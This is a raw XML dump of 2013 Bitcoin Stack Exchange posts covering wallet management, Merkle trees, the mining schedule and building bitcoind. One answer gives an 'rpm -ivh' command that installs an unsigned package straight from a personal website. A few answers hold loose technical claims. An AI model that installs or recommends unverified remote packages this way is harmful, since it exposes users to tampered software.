  <row Id="10482" PostTypeId="1" AcceptedAnswerId="10488" CreationDate="2013-05-02T01:08:07.127" Score="7" ViewCount="1972" Body="&lt;p&gt;When I run bitcoin-qt on Ubuntu 12.04, I see this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ByZIB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, there is no menu on the top menu bar.  There is the &quot;beginning&quot; of a menu with the word &quot;Bitcoin&quot; but there are no &quot;File&quot;, &quot;Settings&quot;, or &quot;Help&quot; menu titles.  Clicking on the word &quot;Bitcoin&quot; in the menu bar does nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://computriks.com/en/bitcoin-encrypt-wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; it seems there should be a menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get the menu to work?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="93446" LastEditDate="2019-08-14T17:56:11.557" LastActivityDate="2019-08-14T17:56:11.557" Title="No menu in Ubuntu bitcoin-qt" Tags="|bitcoin-core|ubuntu|bitcoin-qt-setup|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="10483" PostTypeId="2" ParentId="10479" CreationDate="2013-05-02T01:21:43.060" Score="1" Body="&lt;p&gt;This may be a good introduction. Ripple may be using Merkle tree but I am not sure:&#xA;&lt;a href=&quot;http://en.m.wikipedia.org/wiki/Hash_tree&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.m.wikipedia.org/wiki/Hash_tree&lt;/a&gt;&#xA;Also check this:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/5486304/explain-merkle-trees-for-use-in-eventual-consistency&quot;&gt;https://stackoverflow.com/questions/5486304/explain-merkle-trees-for-use-in-eventual-consistency&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4354" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2013-05-02T01:29:01.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10484" PostTypeId="2" ParentId="10467" CreationDate="2013-05-02T01:26:42.967" Score="3" Body="&lt;p&gt;I host two &lt;code&gt;bitcoind&lt;/code&gt; RPMs (i686, x86_64) on my website which will most likely work fine for you, as they're built for CentOS 6.4. Run this command to install &lt;code&gt;bitcoind&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpm -ivh http://tvdw.eu/bitcoin-0.8.1-1.el6.`uname -m`.rpm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to download them manually, the files are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;i686:   http://tvdw.eu/bitcoin-0.8.1-1.el6.i686.rpm&#xA;MD5:    5be52618594a3eaded19052197c2f6ed&#xA;&#xA;x86_64: http://tvdw.eu/bitcoin-0.8.1-1.el6.x86_64.rpm&#xA;MD5:    49ba4acbf9744e96bf12342888bc347a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The packages are unsigned, so install these at your own risk (aka: some level of trust is required here).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edit] This is the &lt;code&gt;bitcoin.spec&lt;/code&gt; file I use to build these packages :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Name:           bitcoin&#xA;Version:        0.8.1&#xA;Release:        1%{?dist}&#xA;Summary:        bitcoin&#xA;&#xA;License:        GPL&#xA;URL:            http://bitcoin.org&#xA;Source0:        http://sourceforge.net/projects/bitcoin/files/Bitcoin/bitcoin-%{version}/bitcoin-%{version}-linux.tar.gz&#xA;&#xA;%description&#xA;bitcoin&#xA;&#xA;%package qt&#xA;Summary:        bitcoin-qt&#xA;%description qt&#xA;bitcoin-qt&#xA;&#xA;&#xA;%prep&#xA;%setup -q -n bitcoin-%{version}-linux&#xA;&#xA;&#xA;%build&#xA;&#xA;&#xA;%install&#xA;mkdir -p %{buildroot}%{_bindir}&#xA;%ifarch x86_64&#xA;cp -R bin/64/* %{buildroot}%{_bindir}&#xA;%endif&#xA;%ifarch i686&#xA;cp -R bin/32/* %{buildroot}%{_bindir}&#xA;%endif&#xA;&#xA;&#xA;%clean&#xA;rm -rf %{buildroot}&#xA;&#xA;&#xA;%files&#xA;%doc README COPYING&#xA;/usr/bin/bitcoind&#xA;&#xA;%files qt&#xA;/usr/bin/bitcoin-qt&#xA;&#xA;&#xA;%changelog&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's no actual compilation involved, it just puts the files in the right locations and wraps it in a nice little RPM.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastEditorUserId="4358" LastEditDate="2013-05-02T20:10:25.113" LastActivityDate="2013-05-02T20:10:25.113" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10485" PostTypeId="1" CreationDate="2013-05-02T01:48:00.877" Score="1" ViewCount="2249" Body="&lt;p&gt;My wallet has 3 addresses. My other wallet has 5 addresses. I just want to synchronize those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I do so?&lt;/p&gt;&#xA;" OwnerUserId="1498" LastEditorUserId="2306" LastEditDate="2015-03-13T14:40:55.117" LastActivityDate="2019-01-01T20:24:53.167" Title="How to transfer private addresses from one wallet to another?" Tags="|wallet.dat|wallet-import|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10486" PostTypeId="1" AcceptedAnswerId="10492" CreationDate="2013-05-02T02:04:26.847" Score="29" ViewCount="82309" Body="&lt;p&gt;Estimates have been thrown around a lot recently as to the year in which the last Bitcoin will be mined- where are these estimates coming from? Could someone send me to the relevant code?&lt;/p&gt;&#xA;" OwnerUserId="5841" LastEditorUserId="5406" LastEditDate="2021-02-20T19:57:48.927" LastActivityDate="2022-09-25T15:57:12.787" Title="When will the last Bitcoin be mined?" Tags="|reward-schedule|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10487" PostTypeId="2" ParentId="10479" CreationDate="2013-05-02T02:13:46.693" Score="64" Body="&lt;p&gt;The idea (as I understand it) is that the Merkle tree allows for you to verify transactions as needed and not include the body of every transaction in the block header, while still providing a way to verify the entire blockchain (and therefore proof of work) on every transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand this, first understand the concept of a tree. Consider an 8 transaction block. Imagine each of those 8 transactions at the base of a pyramid: these are called leaves. Put four &quot;branches&quot; on the second tier of the pyramid and draw two lines from each of them to the leaves so that each branch has two leaves attached to it. Now join those four branches to two branches on pyramid level 3 and up to one branch (what is called the root of the tree) on the top of the pyramid. (Our tree is growing upside down in this example.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we can start to understand the hashing process. Hash the hashes of the &quot;leaves&quot; and include that as part of the 2nd level branches that those leaves are attached to (these are called child nodes and parent nodes). Now hash the hashes of those hashes and include that as part of the third level branches. And so on. (And if you had more than 8 transactions, all you need are more levels to the pyramid.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now you have a root node that effectively has a hash that verifies the integrity of all of the transactions. If one transaction is added/removed or changed it will change the hash of its parent. Which will change the hash of its parent, and so on, resulting in the root node's hash (which is the Merkle root) changing as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how does this help us with potentially not having to have the entire blockchain? Because we could verify the transactions as needed. If we have a transaction that claims to have been from block #234133 we can get the transactions for that block, verify the Merkle tree, and know that the transaction is valid. We can do that without necessarily knowing all of the transactions from #234132 or #234134 because we know that the blocks are tamper proof.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even better, if we know where it is in the Merkle tree and we know the hashes of the branches we don't even need all of the transactions from #234132. (There were 868 in that block.) We start with just our transaction and its sibling (if it has one) and calculate the hash of those two and verify that it matches the expected value. From that we can ask for the sibling branch of that and calculate the hash of that and verify it. And continue with this process, up the tree. Which only takes ten verifications for 868 transactions. (That's one of the great things about trees, they can hold a lot of values with only a relatively small number of layers.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do we know that the source of this data isn't lying to us about the hash values? Because a hash function is one-way, there is no way that a deceptive party could guess a value that would hash with our second-to-last value to create the Merkle root. (Which we know from our verified blockchain.) This reasoning holds further down the tree: there's no way to create a fake value that would hash to our expected value. Another way to think about it, is that even a single alteration of a transaction at the base of the tree, would result in a rippling change to all the hash values of nodes in its branch all the way up to the root's hash value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, the Merkle tree creates a single value that proves the integrity of all of the transactions under it. Satoshi could have just included the hash of a big list of all of the transactions in the Bitcoin header. But if he had done that that would have required you to hash the entire list of transactions in order to verify its integrity. With this way, even if there are an extremely large number of transactions the work you need to do (and the number of hashes you need to request/download) in order to verify the integrity is only log(O).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[As always, feel free to edit this. This is primarily just inference on my part from looking at the spec.]&lt;/p&gt;&#xA;" OwnerUserId="3439" LastEditorUserId="63872" LastEditDate="2018-12-02T13:48:37.713" LastActivityDate="2018-12-02T13:48:37.713" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="10488" PostTypeId="2" ParentId="10482" CreationDate="2013-05-02T02:27:49.043" Score="5" Body="&lt;p&gt;This happens with many Ubuntu Apps. The simplest solution is to tap &lt;kbd&gt;Alt&lt;/kbd&gt; any type the name of the menu item you wish to find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f6yay.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;F2&lt;/kbd&gt;, log in, type &lt;code&gt;DISPLAY=:0.0 unity --replace&lt;/code&gt; hit Enter, and then do &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;F7&lt;/kbd&gt;. The menu bars and the windowing system will reload.&lt;/p&gt;&#xA;" OwnerUserId="1453" LastActivityDate="2013-05-02T02:27:49.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10489" PostTypeId="1" CreationDate="2013-05-02T02:28:44.877" Score="9" ViewCount="3681" Body="&lt;p&gt;I want to know what to do if I want to create a ripple gateway, so that people can use it and exchange on it. Where do I start?&lt;/p&gt;&#xA;" OwnerUserId="3775" LastActivityDate="2013-10-06T22:55:32.550" Title="How to create a ripple gateway?" Tags="|ripple|ripple-gateways|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10490" PostTypeId="1" CreationDate="2013-05-02T02:31:08.090" Score="-2" ViewCount="163" Body="&lt;p&gt;It's been selling for $10k. How much does it cost to produce those?&lt;/p&gt;&#xA;" OwnerUserId="1498" LastActivityDate="2013-05-02T07:24:50.223" Title="What's the marginal cost of ASIC production?" Tags="|asic|" AnswerCount="1" CommentCount="1" ClosedDate="2013-05-03T12:37:19.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="10492" PostTypeId="2" ParentId="10486" CreationDate="2013-05-02T02:40:34.320" Score="28" Body="&lt;p&gt;The estimate is &lt;strong&gt;2140&lt;/strong&gt; based on the block reward halving frequency of four years. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8823/how-many-bitcoin-are-mined-per-day&quot;&gt;According to math and knowledge that there are 32 halving events&lt;/a&gt;, in 2136, the block reward will yield 0.00000168 BTC per day, which is 0.00000042 BTC per block. That's 42 &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/114/what-is-a-satoshi&quot;&gt;satoshis&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's arguable that there could be one additional halving, to a block reward of 0.00000021 BTC, but that would require a major protocol modification since the number of Bitcoin would then exceed 21 million. Additionally, to go past that, there'd have to be a protocol modification to extend divisibility past eight decimal places. It is far, far to early to worry about either of these, because we're more than a century away from this problem.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-05-02T02:40:34.320" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="10493" PostTypeId="2" ParentId="10476" CreationDate="2013-05-02T02:42:17.660" Score="0" Body="&lt;p&gt;Ensure that you must have a locally-running instance of Bitcoin-Qt or &lt;code&gt;bitcoind&lt;/code&gt; running with its JSON-RPC interface active.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-05-02T02:42:17.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10494" PostTypeId="2" ParentId="10485" CreationDate="2013-05-02T03:19:34.277" Score="2" Body="&lt;p&gt;Just export the private key of one wallet and import to the other.&lt;/p&gt;&#xA;" OwnerUserId="3775" LastActivityDate="2013-05-02T03:19:34.277" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10495" PostTypeId="1" CreationDate="2013-05-02T04:10:29.660" Score="1" ViewCount="1160" Body="&lt;p&gt;Can anyone tell me how to fix BTC that seems stuck as unconfirmed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the blockchain info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/37ffff757d1735a8c4fe96a0ee63a7d797e9bc5a858b7a60f81eaf935bee5709?show_adv=true&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/tx/37ffff757d1735a8c4fe96a0ee63a7d797e9bc5a858b7a60f81eaf935bee5709?show_adv=true&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4777" LastEditorUserId="56167" LastEditDate="2017-08-04T03:43:32.333" LastActivityDate="2017-08-04T03:43:32.333" Title="Unconfirmed BTC" Tags="|unconfirmed-transactions|" AnswerCount="1" CommentCount="3" ClosedDate="2013-05-03T12:38:03.063" ContentLicense="CC BY-SA 3.0" />
  <row Id="10496" PostTypeId="1" CreationDate="2013-05-02T05:07:38.523" Score="3" ViewCount="1444" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Install git&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;pacman -S git&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install bitcoind dependencies as seen here: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/build-unix.txt&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/doc/build-unix.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;pacman -S boost boost-libs miniupnpc openssl db&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install arch-linux base development packages so you can use make&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;pacman -S base-devel&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Download and install bitcoind from the github source&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;su daemonuser&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;cd /home/daemonuser&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;git clone &lt;a href=&quot;https://github.com/bitcoin/bitcoin.git&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin.git&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;cd /home/daemonuser/bitcoin/src/&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;make -f makefile.unix USE_UPNP=- USE_IPV6=0&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;bitcoind -daemon&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3145" LastEditorUserId="774" LastEditDate="2013-07-11T10:51:45.957" LastActivityDate="2013-07-11T10:51:45.957" Title="How to build bitcoin from source on Arch Linux 2012.10 64bit?" Tags="|installation|compiling|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10497" PostTypeId="2" ParentId="10495" CreationDate="2013-05-02T05:38:05.747" Score="-2" Body="&lt;p&gt;Every ten minutes in the blockchain the transactions are confirmed. So if you want to get 100% fully confirmed you will have to wait an hour. There is not much you can do in the process about that.&lt;/p&gt;&#xA;" OwnerUserId="4778" LastActivityDate="2013-05-02T05:38:05.747" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10498" PostTypeId="2" ParentId="10402" CreationDate="2013-05-02T05:43:45.630" Score="0" Body="&lt;p&gt;There are not enough banks that have to deal with Bitcoin exchanges so you really don't have enough data yet for them to be able to say they are bitcoin friendly. What we can definitely do is do some sort of consensus of looking or questioning different banks to look into the issue, and then give their opinions on the matter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think individuals have to worry very much, it is the BTC businesses that are drawing large amounts of BTC that have a lot to worry about. Or the ones particularly that are an exchange.&lt;/p&gt;&#xA;" OwnerUserId="4778" LastActivityDate="2013-05-02T05:43:45.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10499" PostTypeId="2" ParentId="9767" CreationDate="2013-05-02T07:05:37.510" Score="0" Body="&lt;p&gt;From the website:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Update 28. April&#xA;BTC withdrawals are now enabled.&#xA;All withdrawals will be done manually within 24 Hours.&#xA;&#xA;Your password must be reset with the following link: reset password&#xA;&#xA;For support please use our Ticket-System&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-05-02T07:05:37.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10500" PostTypeId="2" ParentId="10490" CreationDate="2013-05-02T07:24:50.223" Score="2" Body="&lt;p&gt;From this thread:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.edaboard.com/thread115517.html&quot; rel=&quot;nofollow&quot;&gt;http://www.edaboard.com/thread115517.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About $2, depending on the size.  That's the cost of the &lt;em&gt;second&lt;/em&gt; chip.  The first one cost half a million dollars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw other threads with very different prices but I imagine that it's under $100.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-05-02T07:24:50.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10501" PostTypeId="2" ParentId="10485" CreationDate="2013-05-02T07:27:04.263" Score="1" Body="&lt;p&gt;Please explain why you want to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your goal is to consolidate the funds, just send the money from one wallet to the other.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-05-02T07:27:04.263" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10502" PostTypeId="2" ParentId="10479" CreationDate="2013-05-02T07:30:54.277" Score="4" Body="&lt;p&gt;It's not true that you use just the merkle root (nor does the article say that).  Rather, you use just the parts of the merkle &lt;em&gt;tree&lt;/em&gt; that relate to your transaction.  That includes the root.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-05-02T07:30:54.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10504" PostTypeId="2" ParentId="2647" CreationDate="2013-05-02T07:39:54.407" Score="-1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;This would be cool, but how do I check it is really true?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I haven't tried this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Backup your wallet.dat and generate a new receiving address.  Then delete wallet.dat and restore from the backup.  Now generate a &quot;new&quot; receiving address.  It should be the same one as the first one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Convinced?&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-05-02T07:39:54.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10505" PostTypeId="1" CreationDate="2013-05-02T07:56:17.937" Score="4" ViewCount="1068" Body="&lt;p&gt;From something I noticed in this thread: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10495/unconfirmed-btc&quot;&gt;Unconfirmed BTC&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MtGox will send a transaction to spend one of the outputs of a transaction that hasn't yet been confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible for both of the unconfirmed transactions to be in the same block (in the right order)?&lt;/p&gt;&#xA;" OwnerUserId="1507" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-05-03T01:03:17.023" Title="Is it possible to spend an output that hasn't yet been confirmed?" Tags="|mtgox|unconfirmed-transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10507" PostTypeId="2" ParentId="10505" CreationDate="2013-05-02T09:12:23.463" Score="5" Body="&lt;p&gt;Yes you can spend an unconfirmed output.&#xA;You can see this in MultiBit if you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Send some bitcoin from one wallet to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) In the wallet that received the bitcoin you can spend it. Because the bitcoin came from one of your previously confirmed transactions, you can trust it even though it is unconfirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if you spend a transaction that is unconfirmed and it never confirms, then your child transaction will never confirm either.&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2013-05-02T12:02:49.743" LastActivityDate="2013-05-02T12:02:49.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10508" PostTypeId="1" CreationDate="2013-05-02T09:23:30.547" Score="4" ViewCount="2376" Body="&lt;p&gt;I've been running the bitcoin-qt client for over a week now trying to catch up with the block chain (closer to three weeks if I count the first time I had to synchronize everything).  Looking at my bandwidth usage, I'm only getting 2-5 kB/s at any given time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a ton of Googling and noticed a lot of others were complaining about the long synchronization process, but none of them seemed to be as long as mine (and no one made mention of their speeds).  Is it supposed to be this slow, or have I set something up incorrectly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should further clarify that this is not a new issue, this has been persistent since I started using bitcoin over a year ago.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Further information&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client is always at or below 8 connections to the Bitcoin network (if that is at all relevant/useful information).  I have UPnP enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Computer&lt;/strong&gt;: I'm using a laptop (OS: Win7 64-bit) from a few years back, so inherently the  specs aren't tops (but by no means terrible) - the CPU is an AMD Athlon II M300 (2 cores / 2 threads, 2.0 GHz, 1MB cache).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CPU Usage&lt;/strong&gt;: According to perfmon, bitcoin-qt averages 7% CPU consumption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blocks processed&lt;/strong&gt;: 124 in an hour (I also made a list breaking it up into 10-minute increments and it averaged 1.8-2.0 blocks per minute of those increments, so it agrees with the hourly rate without much fluctuation).&lt;/p&gt;&#xA;" OwnerUserId="4784" LastEditorUserId="4784" LastEditDate="2013-05-08T08:40:31.190" LastActivityDate="2013-05-08T08:40:31.190" Title="Is the synchronization process supposed to be downloading at less than 5kB/s?" Tags="|wallet|client|bitcoin-core|network|synchronization|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10510" PostTypeId="1" AcceptedAnswerId="10513" CreationDate="2013-05-02T10:35:49.840" Score="4" ViewCount="1511" Body="&lt;p&gt;I'm wondering where goes the BTC as my bitcoin server finds a block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using bitcoind, I see no setting for a bitcoin address..&lt;/p&gt;&#xA;" OwnerUserId="4787" LastEditorUserId="5406" LastEditDate="2016-04-28T12:41:39.407" LastActivityDate="2016-04-28T12:41:39.407" Title="Which receiving address does my block reward go to when mining through bitcoind?" Tags="|bitcoind|mining-reward|server|coinbase-transaction|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10511" PostTypeId="1" CreationDate="2013-05-02T11:01:36.723" Score="1" ViewCount="1939" Body="&lt;p&gt;When I try to compile bitcoind on a Ubuntu 10.04 machine I do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;make -f makefile.unix &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but get errors such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;In file included from db.cpp:6:&#xA;db.h:14:20: warning: db_cxx.h: No such file or directory&#xA;In file included from db.cpp:6:&#xA;db.h:42: error: 'DbEnv' does not name a type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wonder what could be the error. In mac os x, I could compile it wothout problem.&lt;/p&gt;&#xA;" OwnerUserId="3851" LastActivityDate="2013-05-02T11:01:36.723" Title="Bitcoind compilation in Ubuntu" Tags="|linux|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10512" PostTypeId="2" ParentId="10469" CreationDate="2013-05-02T12:04:35.780" Score="1" Body="&lt;p&gt;This page has instruction on how to install Bitcoin using &lt;code&gt;yum&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://linux.ringingliberty.com/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;http://linux.ringingliberty.com/bitcoin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-02T12:04:35.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10513" PostTypeId="2" ParentId="10510" CreationDate="2013-05-02T12:13:28.067" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=16823.0&quot; rel=&quot;nofollow&quot;&gt;Apparently&lt;/a&gt;, bitcoind creates a new address for the block reward and puts it directly in your &lt;code&gt;wallet.dat&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose it is stored in your default wallet, but as a new address.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-02T12:13:28.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10514" PostTypeId="2" ParentId="10172" CreationDate="2013-05-02T13:38:59.317" Score="-2" Body="&lt;p&gt;I live in the uk and am trying to purchase bitcoins from mt.gox. I dont know what option to use for this, it says there is a bank transfer option and OKPAY option(which seem to be the only available options for citezens). |Can anyone help???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4789" LastActivityDate="2013-05-02T13:38:59.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10515" PostTypeId="2" ParentId="10470" CreationDate="2013-05-02T13:56:18.287" Score="2" Body="&lt;p&gt;As I mentioned in the comment above, unless you absolutely need your private key to be on the server, I would recommend only storing the address for checking purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never used bitcoind before, but the best solution I have seen for accepting bitcoin payments would be to use something like bitaddress.org to generate a huge number of address and private key combos. Upload the addresses into a database on your server, and then when a customer goes through a transaction your server can select a brand new (never before used) key  for them to pay to. Then you can use a bitcoin API like the one provided by Blockchain to validate that the correct number of bitcoins have been sent to this address, and once it confirms, you can release the product to the client. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, at your leisure sometime in the future, you can collect your Bitcoins from the addresses having received payments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method presents a number of distinct advantages IMO:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Private keys are never on the server, you are considerably less vulnerable to an attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) No requirement to keep the entire blockchain on your server, saving space and bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Funds from each client are held separately (initially) so if you had multiple sales in a short time period, you can still identify each separately (if you used one central wallet, you run the risk of confusing the payments) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Your central wallet is &lt;em&gt;slightly&lt;/em&gt; safer - the client no longer pays directly to it. Important to note that this makes very little difference because they'd still need your private key, but peace of mind is nice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate that this isn't quite the solution you were asking for, but I think it may still fit your usage case &amp;amp; be more secure. &lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2013-05-02T13:56:18.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
